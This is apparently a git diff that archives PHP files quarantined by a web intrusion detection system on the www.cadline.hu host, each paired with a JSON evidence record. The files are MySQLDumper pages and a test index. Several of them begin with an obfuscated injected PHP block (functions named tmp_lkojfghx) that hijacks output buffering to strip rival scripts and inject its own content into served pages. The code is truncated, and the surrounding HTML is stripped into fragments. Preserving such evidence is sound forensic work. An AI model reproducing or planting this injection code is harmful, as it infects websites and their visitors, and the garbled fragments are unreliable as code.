'.Help($lang['help_ftppass'],"conf17",12).$lang['ftp_pass'].': 
'.Help($lang['help_ftpdir'],"conf18",12).$lang['ftp_dir'].': 
'; +//3 +$aus['transfer2'].='
FTP-Connection 3

'.$checkFTP[2].'		'; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].=''; +$aus['transfer2'].='
'.Help($lang['help_ftpserver'],"conf14",12).$lang['ftp_server'].': 
'.Help($lang['help_ftpport'],"conf15",12).$lang['ftp_port'].': 
'.Help($lang['help_ftpuser'],"conf16",12).$lang['ftp_user'].': 
'.Help($lang['help_ftppass'],"conf17",12).$lang['ftp_pass'].': 
'.Help($lang['help_ftpdir'],"conf18",12).$lang['ftp_dir'].': 
'; + + +//Crondump +$aus['cron']='
'.$lang['config_cronperl'].''; +$aus['cron'].=''; +$aus['cron'].=''; + +$aus['cron'].=''; + +$aus['cron'].=''; +$aus['cron'].=''; +$aus['cron'].=''; +$aus['cron'].=''; +$aus['cron'].=''; +$aus['cron'].=''; +$aus['cron'].=''; +$aus['cron'].=''; +$aus['cron'].=''; +$aus['cron'].=''; +$aus['cron'].=''; +$aus['cron'].=''; +$aus['cron'].=''; + +$aus['cron'].=''; +$aus['cron'].='
'.Help($lang['help_cronextender'],"").$lang['cron_extender'].': .pl'; +$aus['cron'].='.cgi'; +$aus['cron'].='
'.Help($lang['help_cronsavepath'],"").$lang['cron_savepath'].': '; +$aus['cron'].='
'.$lang['existing'].':
'.$lang['new'].': .conf.php
'.Help($lang['help_cronexecpath'],"").$lang['cron_execpath'].': 
'.Help($lang['help_cronprintout'],"").$lang['cron_printout'].': '.$lang['yes']; +$aus['cron'].=''.$lang['no'].'
'.Help($lang['help_croncompletelog'],"").$lang['cron_completelog'].': '.$lang['yes']; +$aus['cron'].=''.$lang['no'].'
'.Help($lang['help_cronsamedb'],"conf13").$lang['cron_samedb'].': '.$lang['yes']; +$aus['cron'].=''.$lang['no']; +$aus['cron'].='
'.Help($lang['help_crondbindex'],"conf14").$lang['cron_crondbindex'].': 
  
'.Help($lang['help_cronzip'],"").$lang['gzip'].': '.$lang['activated']; +$aus['cron'].=''.$lang['not_activated']; +$aus['cron'].='
'.Help($lang['help_cronmail'],"").$lang['send_mail_form'].': '.$lang['yes']; +$aus['cron'].=''.$lang['no']; +$aus['cron'].='
'.Help($lang['help_cronmail_dump'],"").$lang['send_mail_dump'].': '.$lang['yes']; +$aus['cron'].=''.$lang['no']; +$aus['cron'].='
'.Help($lang['help_cronftp'],"").$lang['cron_ftp'].': '.$lang['yes']; +$aus['cron'].=''.$lang['no']; +$aus['cron'].='
'; + +//Formular-Buttons --> +$aus['formende']='

'; + +// AUSGABE +echo $aus['formstart']; +echo $aus['db']; +echo $aus['global1']; +echo $aus['global2']; +echo $aus['global3']; +echo $aus['transfer1']; +echo $aus['transfer2']; +echo $aus['cron']; + +echo $aus['formende']; + +echo ''; + +echo MSDFooter(); + + + +?> diff --git a/var/www/hosting/cadline.hu/www/public/mysqldumper/config_overview.php.evidence.json b/var/www/hosting/cadline.hu/www/public/mysqldumper/config_overview.php.evidence.json new file mode 100644 index 0000000..121e715 --- /dev/null +++ b/var/www/hosting/cadline.hu/www/public/mysqldumper/config_overview.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "5647", + "log_excerpt": "[quarantine] www.cadline.hu:public/mysqldumper/config_overview.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/cadline.hu/www/public/mysqldumper/config_overview.php)", + "original_sha256": "5281ec62fce5212b925be24410259557fa1b192ff7f297fad1e323efb74aedc2", + "original_stat": { + "gid": 30037, + "mtime": 1242504766, + "size": 55753, + "uid": 11669 + }, + "rel_path": "public/mysqldumper/config_overview.php", + "result": "quarantined", + "timestamp": "20260718T160424Z", + "vhost": "www.cadline.hu" +} diff --git a/var/www/hosting/cadline.hu/www/public/mysqldumper/index.php b/var/www/hosting/cadline.hu/www/public/mysqldumper/index.php new file mode 100644 index 0000000..dd24f9c --- /dev/null +++ b/var/www/hosting/cadline.hu/www/public/mysqldumper/index.php @@ -0,0 +1,41 @@ +#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('##','',$s);if(stristr($s,''))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i + + + + + + +MySQLDumper + + + + + + + diff --git a/var/www/hosting/cadline.hu/www/public/mysqldumper/index.php.evidence.json b/var/www/hosting/cadline.hu/www/public/mysqldumper/index.php.evidence.json new file mode 100644 index 0000000..e4862f8 --- /dev/null +++ b/var/www/hosting/cadline.hu/www/public/mysqldumper/index.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "5646", + "log_excerpt": "[quarantine] www.cadline.hu:public/mysqldumper/index.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/cadline.hu/www/public/mysqldumper/index.php)", + "original_sha256": "125d639b848bd60aa326a92a44590f77355b017381188cc8a28d3b504814551e", + "original_stat": { + "gid": 30037, + "mtime": 1247340500, + "size": 3777, + "uid": 11669 + }, + "rel_path": "public/mysqldumper/index.php", + "result": "quarantined", + "timestamp": "20260718T160424Z", + "vhost": "www.cadline.hu" +} diff --git a/var/www/hosting/cadline.hu/www/public/mysqldumper/refresh_dblist.php b/var/www/hosting/cadline.hu/www/public/mysqldumper/refresh_dblist.php new file mode 100644 index 0000000..0c4e7ec --- /dev/null +++ b/var/www/hosting/cadline.hu/www/public/mysqldumper/refresh_dblist.php @@ -0,0 +1,22 @@ +#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('##','',$s);if(stristr($s,''))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i diff --git a/var/www/hosting/cadline.hu/www/public/mysqldumper/refresh_dblist.php.evidence.json b/var/www/hosting/cadline.hu/www/public/mysqldumper/refresh_dblist.php.evidence.json new file mode 100644 index 0000000..6bf2178 --- /dev/null +++ b/var/www/hosting/cadline.hu/www/public/mysqldumper/refresh_dblist.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "5645", + "log_excerpt": "[quarantine] www.cadline.hu:public/mysqldumper/refresh_dblist.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/cadline.hu/www/public/mysqldumper/refresh_dblist.php)", + "original_sha256": "25426dafee9825ff6aa8bf9b42b8a20f4f72c5d428ebe553e1f412dec99c62f4", + "original_stat": { + "gid": 30037, + "mtime": 1242504772, + "size": 3181, + "uid": 11669 + }, + "rel_path": "public/mysqldumper/refresh_dblist.php", + "result": "quarantined", + "timestamp": "20260718T160424Z", + "vhost": "www.cadline.hu" +} diff --git a/var/www/hosting/cadline.hu/www/public/test/index.php b/var/www/hosting/cadline.hu/www/public/test/index.php new file mode 100644 index 0000000..cd0663d --- /dev/null +++ b/var/www/hosting/cadline.hu/www/public/test/index.php @@ -0,0 +1,52 @@ +#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('##','',$s);if(stristr($s,''))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i \ No newline at end of file diff --git a/var/www/hosting/cadline.hu/www/public/test/index.php.evidence.json b/var/www/hosting/cadline.hu/www/public/test/index.php.evidence.json new file mode 100644 index 0000000..6c58edd --- /dev/null +++ b/var/www/hosting/cadline.hu/www/public/test/index.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "5572", + "log_excerpt": "[quarantine] www.cadline.hu:public/test/index.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/cadline.hu/www/public/test/index.php)", + "original_sha256": "abf14960a1ac99b2dcdafb285d9d09786f54fbfc0e7d822144501dfc69f381ca", + "original_stat": { + "gid": 30037, + "mtime": 1242504842, + "size": 3825, + "uid": 11669 + }, + "rel_path": "public/test/index.php", + "result": "quarantined", + "timestamp": "20260718T160424Z", + "vhost": "www.cadline.hu" +}